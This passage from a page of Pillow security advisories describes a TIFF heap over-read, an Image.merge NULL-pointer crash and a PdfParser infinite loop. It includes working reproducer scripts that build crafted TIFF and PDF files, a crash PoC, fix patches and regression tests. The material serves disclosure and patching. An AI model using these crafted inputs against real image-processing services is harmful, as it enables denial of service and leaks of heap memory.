b"cHRydnF1c/fw9PL28fXzDwgMCg4JDQuPiIyKjomNi09ITEpOSU1Lz8jMys7J" + b"zcsvKCwqLiktK6+orKquqa2rb2hsam5pbWvv6Ozq7unt658wcdLkKVOnTZ8x" + b"c9bsOXPnzV+wcNHiJUuXLV+xctXqNWvXrd+wcdPmLVu3bd+xc9fuPXv37T9w" + b"8NDhI0ePHT9x8tTpM2fPnb9w8dLlK1evXb9x89btO3fv3X/w8NHjJ0+fPX/x" + b"8tXrN2/fvf/w8dPnL1+/ff/x89fvP3///WcY9f+I9j8AoGJ+kAgACAAIABAA" + b"EAAQAA==" + ), + ), + ) + @pytest.mark.filterwarnings("ignore:Metadata Warning") + def test_unpacker_row_wider_than_libtiff_row(self, data: bytes) -> None: + # The unpacker chosen by Pillow reads more bytes per row than libtiff + # decoded, so the decoder must reject the image rather than read past + # the end of its buffer + with Image.open(io.BytesIO(base64.b64decode(data))) as im: + with pytest.raises(OSError, match="decoder error -2"): + im.load() + @pytest.mark.parametrize("compression", ("tiff_adobe_deflate", "jpeg")) def test_save_multistrip(self, compression: str, tmp_path: Path) -> None: im = hopper("RGB").resize((256, 256)) diff --git a/src/libImaging/TiffDecode.c b/src/libImaging/TiffDecode.c index 8a57c523d..2ee6c5f0a 100644 --- a/src/libImaging/TiffDecode.c +++ b/src/libImaging/TiffDecode.c @@ -304,6 +304,15 @@ _decodeAsRGBA(Imaging im, ImagingCodecState state, TIFF *tiff) { TRACE(("RowsPerBlock: %u \n", rows_per_block)); + // TiffRGBAImages are 32bits/pixel. If the unpacker reads more bits per pixel + // than that, (at least) the last row of the block will have a read buffer + // overflow. + if (state->bits > 32) { + TRACE(("Decode Error, unpacker bits %d > 32\n", state->bits)); + state->errcode = IMAGING_CODEC_BROKEN; + return -1; + } + if (!(TIFFRGBAImageOK(tiff, emsg) && TIFFRGBAImageBegin(&img, tiff, 0, emsg))) { TRACE(("Decode error, msg: %s", emsg)); state->errcode = IMAGING_CODEC_BROKEN; @@ -397,7 +406,7 @@ _decodeTile( ) { INT32 x, y, tile_y, current_tile_length, current_tile_width; UINT32 tile_width, tile_length; - tsize_t tile_bytes_size, row_byte_size; + tsize_t tile_bytes_size, row_byte_size, unpacker_row_byte_size; UINT8 *new_data; tile_bytes_size = TIFFTileSize(tiff); @@ -431,7 +440,8 @@ _decodeTile( return -1; } - if (tile_bytes_size > ((tile_length * state->bits / planes + 7) / 8) * tile_width) { + unpacker_row_byte_size = ((tsize_t)tile_width * state->bits / planes + 7) / 8; + if (tile_bytes_size > (unpacker_row_byte_size * tile_length)) { // If the tile size as expected by LibTiff isn't what we're expecting, abort. // man: TIFFTileSize returns the equivalent size for a tile of data as it // would be returned in a call to TIFFReadTile ... @@ -439,6 +449,13 @@ _decodeTile( return -1; } + // if the unpacker calculated row size is > row byte size, (at least) the last + // row of the tile will have a read buffer overflow. + if (unpacker_row_byte_size > row_byte_size) { + state->errcode = IMAGING_CODEC_BROKEN; + return -1; + } + state->bytes = tile_bytes_size; TRACE(("TIFFTileSize: %d\n", state->bytes)); ``` ##### The reproducer <details> <summary>Reproducer — <code>repro</code>, 4,178 bytes (click to open)</summary> Its last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`. ```python #!/usr/bin/env python3 ##### Heap over-read in _decodeTile()/_decodeAsRGBA() (src/libImaging/TiffDecode.c), stock build, ##### no sanitizer needed. Pillow picks the row unpacker from its own IFD parse, libtiff sizes the ##### decode buffer from its parse; when they disagree the unpacker reads past state->buffer and the ##### bytes land in the image. Evidence: (1) pixels of a fully-defined 16x16 file change with glibc's ##### MALLOC_PERTURB_ fill byte (heap bytes beyond the buffer became pixels); (2) a 65536x16 tile ##### SIGSEGVs in copy4 <- _decodeTile. Runs in a few seconds. import os, shutil, struct, subprocess, sys, tempfile, zlib W = tempfile.mkdtemp(); S, L = 3, 4 def tiff(entries, data): # little-endian classic TIFF, one IFD, tags in given order data_off = 8 + 2 + 12 * len(entries) + 4; extra_off = data_off + len(data) ifd, extra = struct.pack("<H", len(entries)), b"" for tag, typ, vals in entries: if vals is None: typ, vals = L, [data_off] raw = b"".join(struct.pack("<H" if typ == S else "<L", v) for v in vals) if len(raw) > 4: raw, extra = struct.pack("<L", extra_off + len(extra)), extra + raw ifd += struct.pack("<HHL", tag, typ, len(vals)) + raw.ljust(4, b"\0") return b"II*\0" + struct.pack("<L", 8) + ifd + b"\0" * 4 + data + extra def tile(w, h, spp, photo): # one deflate tile, 8 bit/sample d = zlib.compress(bytes(i % 251 for i in range(w * h * spp))) return tiff([(256, L, [w]), (257, L, [h]), (258, S, [8] * spp), (259, S, [8])] + photo + [(277, S, [spp]), (322, L, [w]), (323, L, [h]), (324, L, None), (325, L, [len(d)])], d) d = zlib.compress(bytes(range(256)) * 3) files = { # Photometric count 2 (6,6): libtiff ignores tag -> 1 B/px; Pillow keeps 6 -> RGBX copy4 4 B/px (HEAD only) "tile_count2.tif": tile(16, 16, 1, [(262, S, [6, 6])]), # Photometric duplicated 2 then 6, 3 samples: libtiff RGB 3 B/px; Pillow RGBX 4 B/px (also released versions) "tile_dup.tif": tile(16, 16, 3, [(262, S, [2]), (262, S, [6])]), # strip, libtiff sees 8-bit YCbCr -> _decodeAsRGBA 4 B/px; Pillow sees RGB;16 -> 6 B/px "ycbcr_dup.tif": tiff([(256, S, [16]), (257, S, [16]), (258, S, [8, 8, 8]), (258, S, [16, 16, 16]), (259, S, [8]), (262, S, [6]), (262, S, [2]), (273, L, None), (277, S, [3]), (278, S, [16]), (279, L, [len(d)]), (530, S, [1, 1])], d), "tile_big.tif": tile(65536, 16, 1, [(262, S, [6, 6])]), } for n, b in files.items(): open(f"{W}/{n}", "wb").write(b) LOAD = r""" import sys, warnings; warnings.simplefilter("ignore") from PIL import Image im = Image.open(sys.argv[1]); print(Image.core.__file__, im.mode, im.size, im.tile[0].args[0], file=sys.stderr) im.load(); sys.stdout.write(im.tobytes().hex()) """ def run(name, perturb): p = subprocess.run([sys.executable, "-c", LOAD, f"{W}/{name}"], capture_output=True, text=True, env=dict(os.environ, MALLOC_PERTURB_=str(perturb))) return p.returncode, p.stdout, p.stderr.strip().splitlines()[-1:] or [""] leak = False for n in ("tile_count2.tif", "tile_dup.tif", "ycbcr_dup.tif"): r1, a, info = run(n, 85); r2, b, _ = run(n, 170) print(f"== {n}: {info[0]} rc={r1},{r2}") if r1 == 0 and r2 == 0 and a != b: i = next(k for k in range(0, len(a), 2) if a[k:k+2] != b[k:k+2]) print(f" pixel bytes depend on malloc fill pattern from byte {i//2} of {len(a)//2}:") print(f" PERTURB=85 : ...{a[i-8:i+40]}\n PERTURB=170: ...{b[i-8:i+40]}") leak = True else: print(" identical output / error -> no leak observed") rc, _, info = run("tile_big.tif", 0) print(f"== tile_big.tif: {info[0]} rc={rc}" + (" (SIGSEGV)" if rc == -11 else "")) crash = rc == -11 if crash and shutil.which("gdb"): bt = subprocess.run(["gdb", "-batch", "-ex", "run", "-ex", "bt 4", "--args", sys.executable, "-c", LOAD, f"{W}/tile_big.tif"], capture_output=True, text=True).stdout print("\n".join(l for l in bt.splitlines() if l.startswith("#"))) shutil.rmtree(W) print(f"summary: heap bytes in pixels={leak} stock SIGSEGV={crash}") print("BUG" if leak or crash else "OK") ``` </details> --- #### Severity - CVSS Score: 8.8 / 10 (High) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N` #### References - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-c6hw-5grf-ff96](https://github.com/python-pillow/Pillow/security/advisories/GHSA-c6hw-5grf-ff96) - [https://nvd.nist.gov/vuln/detail/CVE-2026-112404](https://nvd.nist.gov/vuln/detail/CVE-2026-112404) - [https://github.com/python-pillow/Pillow/commit/1d4773e6cea0c4a2814e6d4cdc099bbcf56da6ce](https://github.com/python-pillow/Pillow/commit/1d4773e6cea0c4a2814e6d4cdc099bbcf56da6ce) - [https://github.com/python-pillow/Pillow](https://github.com/python-pillow/Pillow) - [https://github.com/python-pillow/Pillow/releases/tag/13.0.0](https://github.com/python-pillow/Pillow/releases/tag/13.0.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-c6hw-5grf-ff96) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Pillow: NULL pointer dereference in Image.merge via an unvalidated band 0 BIT-pillow-2026-112405 / [CVE-2026-112405](https://nvd.nist.gov/vuln/detail/CVE-2026-112405) / [GHSA-cp9v-662q-vvx9](https://github.com/advisories/GHSA-cp9v-662q-vvx9) / PYSEC-2026-4333 <details> <summary>More information</summary> #### Details ##### Summary `Image.merge()` checks the mode of every input band except band 0. If band 0 is a single-band `I` or `F` image, the native merge routine reads a pixel pointer that is NULL for those modes and the process crashes. The IPTC plugin reaches this from a plain `Image.open()` followed by a load, and IPTC has no magic-byte prefilter, so a crafted file with no recognizable header can drive it. ##### Details The validation loop skips band 0: - `src/PIL/Image.py:3795` iterates `for band in bands[1:]` and checks mode and size only for those. For an `I` or `F` image the 8-bit plane `image8` is NULL (only `image32` is set). `ImagingMerge` dereferences `bands[0]->image8[y]` for the multi-band output modes: - `src/libImaging/Bands.c:302`, `:311`, `:321` The IPTC loader builds the band list from an attacker-typed sub-image and passes it to merge with the sub-image at index 0: - `src/PIL/IptcImagePlugin.py:156-160` - `src/PIL/IptcImagePlugin.py:169` registers the opener with no accept function. ##### PoC ```python from PIL import Image ##### Band 0 is a single-band "I" image: its image8 plane is NULL. merge() validates only ##### bands[1:], so the native ImagingMerge dereferences the NULL plane for band 0. band0 = Image.new("I", (4, 4)) Image.merge("RGB", [band0, Image.new("L", (4, 4)), Image.new("L", (4, 4))]) ``` Run it: ``` $ python 02_poc.py Segmentation fault (core dumped) ``` Observed on a source build of commit `3e2ab96`. Under AddressSanitizer: ``` ==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 #&#8203;0 ImagingMerge src/libImaging/Bands.c:311 #&#8203;1 _merge src/_imaging.c:2492 SUMMARY: AddressSanitizer: SEGV src/libImaging/Bands.c:311 in ImagingMerge ``` The null address confirms the dereference of the missing `image8` plane for band 0. ##### Impact NULL pointer dereference in a C extension. A crafted file opened and loaded through the IPTC path crashes the worker process. This is a hard crash, not a Python exception an application can catch. #### Severity - CVSS Score: 8.7 / 10 (High) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N` #### References - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-cp9v-662q-vvx9](https://github.com/python-pillow/Pillow/security/advisories/GHSA-cp9v-662q-vvx9) - [https://nvd.nist.gov/vuln/detail/CVE-2026-112405](https://nvd.nist.gov/vuln/detail/CVE-2026-112405) - [https://github.com/python-pillow/Pillow/commit/b6ee66e8b2c2c0932bdf65f963268d9f2927ef86](https://github.com/python-pillow/Pillow/commit/b6ee66e8b2c2c0932bdf65f963268d9f2927ef86) - [https://github.com/python-pillow/Pillow](https://github.com/python-pillow/Pillow) - [https://github.com/python-pillow/Pillow/releases/tag/13.0.0](https://github.com/python-pillow/Pillow/releases/tag/13.0.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-cp9v-662q-vvx9) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Pillow: Infinite loop in PdfParser.rewrite_pages on page tree Parent cycle BIT-pillow-2026-112406 / [CVE-2026-112406](https://nvd.nist.gov/vuln/detail/CVE-2026-112406) / [GHSA-f2g6-542v-9j58](https://github.com/advisories/GHSA-f2g6-542v-9j58) <details> <summary>More information</summary> #### Details ``` ============================================================================ Infinite loop in PdfParser.rewrite_pages on page tree Parent cycle Location: src/PIL/PdfParser.py:505 in PdfParser.rewrite_pages() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================ ``` A PDF file of a few hundred bytes makes Pillow hang forever, holding one processor core at 100%, when an application tries to append an image to it. Anyone who can supply the existing PDF to an application that calls `im.save(fp, "PDF", append=True)` (or `save_all=True, append=True`) can tie up that worker indefinitely. Memory use stays flat, so only an external timeout stops it. The bug is in `PdfParser.rewrite_pages()` in `src/PIL/PdfParser.py` (the `while pages_tree_node_ref:` loop at line 505). For each original page, it walks the `/Parent` chain upward and stops only when it reaches a node with no `/Parent`. It keeps no record of nodes it has already visited, so a loop in that chain never ends. The simplest case is a `/Pages` root that lists itself as its own `/Parent`; a longer cycle among page-tree nodes behaves the same way. The path is `PdfImagePlugin._save()` → `write_catalog()` → `rewrite_pages()`, and it is reached whether the save target is a file path or a `BytesIO`. Plain `Image.open()` pipelines are not affected, because Pillow only parses PDFs on the append path. This is a sibling of CVE-2026-42310 (the cyclic trailer `/Prev` loop in the same parser). The `processed_offsets` guard added to `read_prev_trailer()` for that issue does not cover this walk. The loop was introduced in 24ecfe315ab5 (2018-03-03) and has been present in every release since 5.1.0. The attached reproducer builds two in-memory PDFs and appends a 4×4 image to each. The normal file finishes in about 45 ms. The 333-byte self-parented file is still spinning inside `rewrite_pages()` when a 5-second watchdog interrupts it. Two alternative fixes are attached: one silently tolerates the cycle, and one rejects the file with an error. ##### Details `PdfParser.rewrite_pages()` walks the `/Parent` chain of every pre-existing page upward and stops only when a node has no `/Parent`. It keeps no record of visited nodes, so a page-tree node whose `/Parent` points at itself, or at any node below it, makes the walk spin forever. The following 333-byte file is a valid one-page PDF except that object 2, the page-tree root, declares `/Parent 2 0 R`: ``` %PDF-1.4 1 0 obj <</Type /Catalog /Pages 2 0 R>> endobj 2 0 obj <</Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R>> endobj 3 0 obj <</Type /Page /Parent 2 0 R /MediaBox [0 0 10 10]>> endobj xref 0 4 0000000000 65535 f 0000000009 00000 n 0000000056 00000 n 0000000125 00000 n trailer <</Size 4 /Root 1 0 R>> startxref 192 %%EOF ``` `Image.new("RGB", (4, 4)).save(io.BytesIO(pdf), "PDF", append=True)` on these bytes never returns and holds one core at 100 % (the same happens when the target is a file path opened `r+b`). Interrupting it with `SIGALRM` after 5 s gives this traceback every time: ``` File "src/PIL/PdfImagePlugin.py", line 263, in _save existing_pdf.write_catalog() File "src/PIL/PdfParser.py", line 473, in write_catalog self.rewrite_pages() File "src/PIL/PdfParser.py", line 505, in rewrite_pages while pages_tree_node_ref: ``` The same file without `/Parent 2 0 R` on object 2 is appended to in ~30 ms. The loop: ```python ##### src/PIL/PdfParser.py:483-510 def rewrite_pages(self) -> None: pages_tree_nodes_to_delete = [] for i, page_ref in enumerate(self.orig_pages): page_info = self.cached_objects[page_ref] del self.xref_table[page_ref.object_id] pages_tree_nodes_to_delete.append(page_info[PdfName(b"Parent")]) … # delete redundant Pages tree nodes from xref table for pages_tree_node_ref in pages_tree_nodes_to_delete: while pages_tree_node_ref: pages_tree_node = self.cached_objects[pages_tree_node_ref] if pages_tree_node_ref.object_id in self.xref_table: del self.xref_table[pages_tree_node_ref.object_id] pages_tree_node_ref = pages_tree_node.get(b"Parent", None) self.orig_pages = [] ``` How the input gets there: with `append=True`, `PdfImagePlugin._save()` opens the existing bytes with `PdfParser.PdfParser(f=fp, …, mode="r+b")` (`src/PIL/PdfImagePlugin.py:199`), whose constructor calls `read_pdf_info()`. That reads the catalog, reads the page-tree root through `read_indirect()` — which stores every object it reads in `self.cached_objects` (`src/PIL/PdfParser.py:1077`) — and flattens the tree with `linearize_page_tree()`, which `read_indirect()`s every `/Kids` entry. So after parsing, `orig_pages == [3 0 R]` and objects 2 and 3 are both in `cached_objects`. `_save()` then calls `existing_pdf.write_catalog()` → `rewrite_pages()`. For the file above, the first loop puts page 3's `/Parent`, `2 0 R`, into `pages_tree_nodes_to_delete`. The inner `while` looks object 2 up in `cached_objects`, removes it from the xref table on the first pass, and sets `pages_tree_node_ref` to object 2's `/Parent` — which is `2 0 R` again. Nothing in the loop body changes on subsequent iterations, so it never exits: `cached_objects[2 0 R]` is never evicted, and deleting an already-deleted id from `XrefTable` is silent — `__delitem__` only records the id in `deleted_entries`, while `__contains__` keeps answering from `existing_entries`. The loop performs no I/O and no allocation, so neither `MemoryError` nor the recursion limit intervenes. A longer cycle behaves identically as long as every node on it was reached through `linearize_page_tree()` and is therefore cached (e.g. root 2 → `/Kids [4 0 R]`, node 4 → `/Kids [3 0 R] /Parent 2 0 R`, and root 2 declaring `/Parent 4 0 R`); a `/Parent` pointing at an object that was never read raises `KeyError` instead, which is harmless. The parser already defends against exactly this shape of problem one level up: `read_prev_trailer()` (`src/PIL/PdfParser.py:699-722`) carries a `processed_offsets` list and raises `PdfFormatError("trailer loop found")` when a `/Prev` offset repeats — the fix for CVE-2026-42310. The `/Parent` walk in `rewrite_pages()` has no equivalent guard. The unguarded walk was introduced in `24ecfe315ab5` ("issue #&#8203;2959: fix wrong Parent of pre-existing Page objects when appending", 2018-03-03) and has been in every release since 5.1.0. ##### Impact Any application that appends pages to a PDF it did not produce — `im.save(fp, "PDF", append=True)` or `save_all=True, append=True` on a user-supplied document — hangs indefinitely with one CPU core pinned, on an input of a few hundred bytes. The loop is pure Python doing two dict lookups per iteration, so memory stays flat and memory limits do not end it; only an external watchdog does. In a web worker or batch converter that is a denial of service of that worker per request. The attacker needs to control only the bytes of the existing PDF; no non-default Pillow setting is involved beyond the application choosing the append path. Pillow does not open PDFs for reading, so plain `Image.open()` pipelines are not affected. This is a sibling of CVE-2026-42310 (infinite loop on a cyclic trailer `/Prev` chain in the same parser, same entry point): same class, different linked structure, and the guard added for that CVE does not cover it. ##### Reproducing `repro` is a single Python script that runs against the installed Pillow (`/src/src/PIL`). It needs no build step and no companion files, and takes about 5 seconds. The script builds two one-page PDFs in memory with `make_pdf()`. Each has a Catalog (object 1), a `/Pages` root (object 2) and a `/Page` (object 3), and each has a correct xref table. The only difference between them is in object 2: - `control` has `<</Type /Pages /Kids [3 0 R] /Count 1>>`. This is a normal file. - `cyclic` has `<</Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R>>`, so the page-tree root names itself as its own `/Parent`. This is the 333-byte file shown above. For each PDF the script prints the bytes and then calls `Image.new("RGB", (4, 4)).save(io.BytesIO(pdf), "PDF", append=True)` under a 5-second `SIGALRM` watchdog. If the watchdog fires, the script prints the Pillow frames the append was running in. The control runs first and has to finish. If it doesn't, the environment is broken, so the script prints `OK` without giving a verdict. Expected output on this commit (PDF dumps omitted): ``` [control] append finished in 0.045s [cyclic] still running after 5s, interrupted in: save() /src/src/PIL/Image.py:2724 save_handler(self, fp, filename) _save() /src/src/PIL/PdfImagePlugin.py:263 existing_pdf.write_catalog() write_catalog() /src/src/PIL/PdfParser.py:473 self.rewrite_pages() rewrite_pages() /src/src/PIL/PdfParser.py:506 pages_tree_node = self.cached_objects[pages_tree_node_ref] ... BUG ``` The innermost one or two frames change from run to run, because the alarm can land anywhere in the loop body at lines 505–509. The `rewrite_pages()` frame is always there. The control's timing shows that the same file without the self-reference is appended to in milliseconds. A fixed parser either finishes the cyclic append just as fast or rejects the file with an exception. In both cases the script prints `OK`. With attached patch 1 applied it prints `[cyclic] append finished in 0.001s` and `OK`. With attached patch 2 it prints `[cyclic] raised PdfFormatError: page tree loop found` and `OK`. The last line is `BUG` only when the cyclic append is still running when the watchdog fires. ##### Suggested fix Both attached patches fix the root cause, which is that the `/Parent` walk in `rewrite_pages()` keeps no record of the nodes it has visited. Either one can be merged; they differ only in what happens to a malformed file. **Attached patch 1** (tolerant; our preference) adds one `processed_pages_tree_nodes` set that is shared across all pages in the delete loop, and breaks out of the `while` as soon as it reaches a node it has already seen: ```python ##### src/PIL/PdfParser.py, rewrite_pages() processed_pages_tree_nodes: set[IndirectReference] = set() for pages_tree_node_ref in pages_tree_nodes_to_delete: while pages_tree_node_ref: if pages_tree_node_ref in processed_pages_tree_nodes: break processed_pages_tree_nodes.add(pages_tree_node_ref) … ``` Breaking loses nothing, because a visited node has already been removed from the xref table. The output is the same as today for every file that terminates. The file above is appended to normally, and object 2 ends up deleted. As a side effect, the ancestor chain that every page shares is walked once in total rather than once per page. **Attached patch 2** (strict) follows the `read_prev_trailer()` guard from the CVE-2026-42310 fix. It keeps a `processed_pages_tree_nodes` list for each page and calls `check_format_condition(pages_tree_node_ref not in processed_pages_tree_nodes, "page tree loop found")`, so a cyclic file is rejected with `PdfFormatError`. The list is per page because ancestors are legitimately shared between the pages of a well-formed document. Note that the error is raised from `write_catalog()`. By then the new page objects have already been written to the `r+b` file, but the new xref/trailer has not. Any other error raised on the append path today leaves the file in the same partially written state. Each patch also adds a `test_page_tree_parent_loop` regression test to `Tests/test_pdfparser.py`. The test builds the self-parented PDF above in memory, so no binary test asset is needed. No other `/Parent` walk exists in the parser, and `linearize_page_tree()` does not follow `/Parent`. Note that this walk follows `/Parent` links, which nothing else in `PdfParser` reads: `linearize_page_tree()` only follows `/Kids` downward and never looks at `/Parent`, so a visited-set added to the `/Kids` recursion (see Related findings) does not reach this loop. The file above has a perfectly tree-shaped `/Kids` structure and still hangs; both walks need their own guard, and they are natural to land together as one "validate page tree while appending" change. ##### Related findings - **Exponential page tree expansion in `PdfParser.linearize_page_tree()` (repeated `/Kids` references) hangs PDF append** — the downward counterpart of this bug in the same parser and on the same `Image.save(..., "PDF", append=True)` entry point: `linearize_page_tree()` (`src/PIL/PdfParser.py:1080-1094`) recurses into every `/Kids` entry and re-parses it via `read_indirect()` with no visited set, so a `/Pages` chain whose nodes list the same child N times over D levels costs N<sup>D</sup> object parses (a 1.9 KB, 10-wide × 12-level file never returns; a 5.8 KB, 300-wide × 3-level file runs for 13 minutes; a direct `/Kids` cycle ends in `RecursionError`). It differs from this report in the link followed (`/Kids` down vs `/Parent` up), the function and phase (`linearize_page_tree()` during `read_pdf_info()` in the `PdfParser` constructor vs `rewrite_pages()` during `write_catalog()`), the introducing commit (`6207b44ab1ff` vs `24ecfe315ab5`), and the symptom (exponential but finite CPU vs a true infinite loop). It needs a separate hunk: the patches attached here only guard the `/Parent` walk and leave the `/Kids` reproducer hanging in `linearize_page_tree()`, and the `/Kids` guard conversely leaves this reproducer spinning in `rewrite_pages()` — verified by cross-applying each patch. Applied together (the `/Kids` guard plus attached patch 2), both reproducers are rejected with `PdfFormatError: page tree loop found` and `Tests/test_pdfparser.py` + `Tests/test_file_pdf.py` pass (30 tests). ##### The patch (1 of 2) Track visited page-tree nodes in PdfParser.rewrite_pages() so a cyclic /Parent chain cannot loop forever when appending to a PDF Applies to `src/PIL/PdfParser.py` at the commit above. ```diff diff --git a/Tests/test_pdfparser.py b/Tests/test_pdfparser.py index f2ae6b11f..f841aca14 100644 --- a/Tests/test_pdfparser.py +++ b/Tests/test_pdfparser.py @@ -169,3 +169,28 @@ def test_duplicate_xref_entry() -> None: def test_trailer_loop() -> None: with pytest.raises(PdfFormatError, match="trailer loop found"): PdfParser("Tests/images/trailer_loop.pdf") + + +@pytest.mark.timeout(5) +def test_page_tree_parent_loop() -> None: + # the /Pages root names itself as its own /Parent + objects = [ + b"<</Type /Catalog /Pages 2 0 R>>", + b"<</Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R>>", + b"<</Type /Page /Parent 2 0 R /MediaBox [0 0 10 10]>>", + ] + b = BytesIO(b"%PDF-1.4\n") + offsets = [] + for object_id, body in enumerate(objects, start=1): + offsets.append(b.tell()) + b.write(b"%d 0 obj\n%s\nendobj\n" % (object_id, body)) + xref_offset = b.tell() + b.write(b"xref\n0 4\n0000000000 65535 f \n") + b.write(b"".join(b"%010d 00000 n \n" % offset for offset in offsets)) + b.write(b"trailer\n<</Size 4 /Root 1 0 R>>\nstartxref\n%d\n%%%%EOF\n" % xref_offset) + + with PdfParser(f=b, mode="r+b") as pdf: + pdf.start_writing() + pdf.write_catalog() + pdf.write_xref_and_trailer() + assert 2 in pdf.xref_table.deleted_entries diff --git a/src/PIL/PdfParser.py b/src/PIL/PdfParser.py index 672557190..9260cd8e7 100644 --- a/src/PIL/PdfParser.py +++ b/src/PIL/PdfParser.py @@ -501,8 +501,14 @@ class PdfParser: # replace the page reference with the new one self.pages[j] = new_page_ref # delete redundant Pages tree nodes from xref table + processed_pages_tree_nodes: set[IndirectReference] = set() for pages_tree_node_ref in pages_tree_nodes_to_delete: while pages_tree_node_ref: + if pages_tree_node_ref in processed_pages_tree_nodes: + # ancestors are shared between pages, and a malformed + # /Parent chain may loop back on itself + break + processed_pages_tree_nodes.add(pages_tree_node_ref) pages_tree_node = self.cached_objects[pages_tree_node_ref] if pages_tree_node_ref.object_id in self.xref_table: del self.xref_table[pages_tree_node_ref.object_id] ``` ##### The patch (2 of 2) Raise PdfFormatError("page tree loop found") in PdfParser.rewrite_pages() when a page's /Parent chain loops back on itself Applies to `src/PIL/PdfParser.py` at the commit above. ```diff diff --git a/Tests/test_pdfparser.py b/Tests/test_pdfparser.py index f2ae6b11f..24faeefbc 100644 --- a/Tests/test_pdfparser.py +++ b/Tests/test_pdfparser.py @@ -169,3 +169,27 @@ def test_duplicate_xref_entry() -> None: def test_trailer_loop() -> None: with pytest.raises(PdfFormatError, match="trailer loop found"): PdfParser("Tests/images/trailer_loop.pdf") + + +@pytest.mark.timeout(5) +def test_page_tree_parent_loop() -> None: + # the /Pages root names itself as its own /Parent + objects = [ + b"<</Type /Catalog /Pages 2 0 R>>", + b"<</Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R>>", + b"<</Type /Page /Parent 2 0 R /MediaBox [0 0 10 10]>>", + ] + b = BytesIO(b"%PDF-1.4\n") + offsets = [] + for object_id, body in enumerate(objects, start=1): + offsets.append(b.tell()) + b.write(b"%d 0 obj\n%s\nendobj\n" % (object_id, body)) + xref_offset = b.tell() + b.write(b"xref\n0 4\n0000000000 65535 f \n") + b.write(b"".join(b"%010d 00000 n \n" % offset for offset in offsets)) + b.write(b"trailer\n<</Size 4 /Root 1 0 R>>\nstartxref\n%d\n%%%%EOF\n" % xref_offset) + + with PdfParser(f=b, mode="r+b") as pdf: + pdf.start_writing() + with pytest.raises(PdfFormatError, match="page tree loop found"): + pdf.write_catalog() diff --git a/src/PIL/PdfParser.py b/src/PIL/PdfParser.py index 672557190..9021b8d63 100644 --- a/src/PIL/PdfParser.py +++ b/src/PIL/PdfParser.py @@ -502,7 +502,13 @@ class PdfParser: self.pages[j] = new_page_ref # delete redundant Pages tree nodes from xref table for pages_tree_node_ref in pages_tree_nodes_to_delete: + processed_pages_tree_nodes = [] while pages_tree_node_ref: + check_format_condition( + pages_tree_node_ref not in processed_pages_tree_nodes, + "page tree loop found", + ) + processed_pages_tree_nodes.append(pages_tree_node_ref) pages_tree_node = self.cached_objects[pages_tree_node_ref] if pages_tree_node_ref.object_id in self.xref_table: del self.xref_table[pages_tree_node_ref.object_id] ``` ##### The reproducer <details> <summary>Reproducer — <code>repro</code>, 3,152 bytes (click to open)</summary> Its last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`. ```python #!/usr/bin/env python3 """Infinite loop in PdfParser.rewrite_pages() on a cyclic /Parent chain. Appending an image to an existing PDF (im.save(fp, "PDF", append=True)) makes rewrite_pages() walk each original page's /Parent chain upward until a node has no /Parent. Nothing records which nodes were visited, so a /Pages node that names itself as its own /Parent keeps the walk going forever. We append a 4x4 image to two one-page PDFs that differ in one entry: control - a normal PDF -> finishes in milliseconds cyclic - the /Pages root also says /Parent 2 0 R -> never finishes A SIGALRM watchdog interrupts the append and shows the line it was stuck on. """ import io import signal import time import traceback from PIL import Image WATCHDOG_S = 5 def make_pdf(pages_root): """Catalog (1) -> /Pages root (2) -> /Page (3), with a correct xref table.""" objects = [ b"<</Type /Catalog /Pages 2 0 R>>", pages_root, b"<</Type /Page /Parent 2 0 R /MediaBox [0 0 10 10]>>", ] pdf = bytearray(b"%PDF-1.4\n") offsets = [] for num, body in enumerate(objects, start=1): offsets.append(len(pdf)) pdf += b"%d 0 obj\n%s\nendobj\n" % (num, body) xref_offset = len(pdf) pdf += b"xref\n0 4\n0000000000 65535 f \n" pdf += b"".join(b"%010d 00000 n \n" % off for off in offsets) pdf += b"trailer\n<</Size 4 /Root 1 0 R>>\nstartxref\n%d\n%%%%EOF\n" % xref_offset return bytes(pdf) class StillRunning(BaseException): pass def on_alarm(signum, frame): raise StillRunning def append_image(name, pdf): """Append an image to `pdf`; return True if it finished before the watchdog.""" print(f"--- {name}: {len(pdf)}-byte PDF ---") print(pdf.decode("latin-1"), end="") signal.alarm(WATCHDOG_S) start = time.monotonic() try: Image.new("RGB", (4, 4)).save(io.BytesIO(pdf), "PDF", append=True) except StillRunning as e: print(f"[{name}] still running after {WATCHDOG_S}s, interrupted in:") for frame in traceback.extract_tb(e.__traceback__): if "/PIL/" in frame.filename: print(f" {frame.name}() {frame.filename}:{frame.lineno} {frame.line}") return False except Exception as e: # rejecting the file is a correct, safe outcome print(f"[{name}] raised {type(e).__name__}: {e}") return True finally: signal.alarm(0) print(f"[{name}] append finished in {time.monotonic() - start:.3f}s") return True signal.signal(signal.SIGALRM, on_alarm) ##### Set up: the well-formed file is appended to instantly. control = make_pdf(b"<</Type /Pages /Kids [3 0 R] /Count 1>>") if not append_image("control", control): print("control case did not finish; environment problem, no verdict") print("OK") raise SystemExit ##### Attack: the same file, except the /Pages root is its own /Parent. cyclic = make_pdf(b"<</Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R>>") finished = append_image("cyclic", cyclic) ##### Verify: a fixed parser finishes (or rejects the file) like the control. print("BUG" if not finished else "OK") ``` </details> --- #### Severity - CVSS Score: 8.7 / 10 (High) - Vector 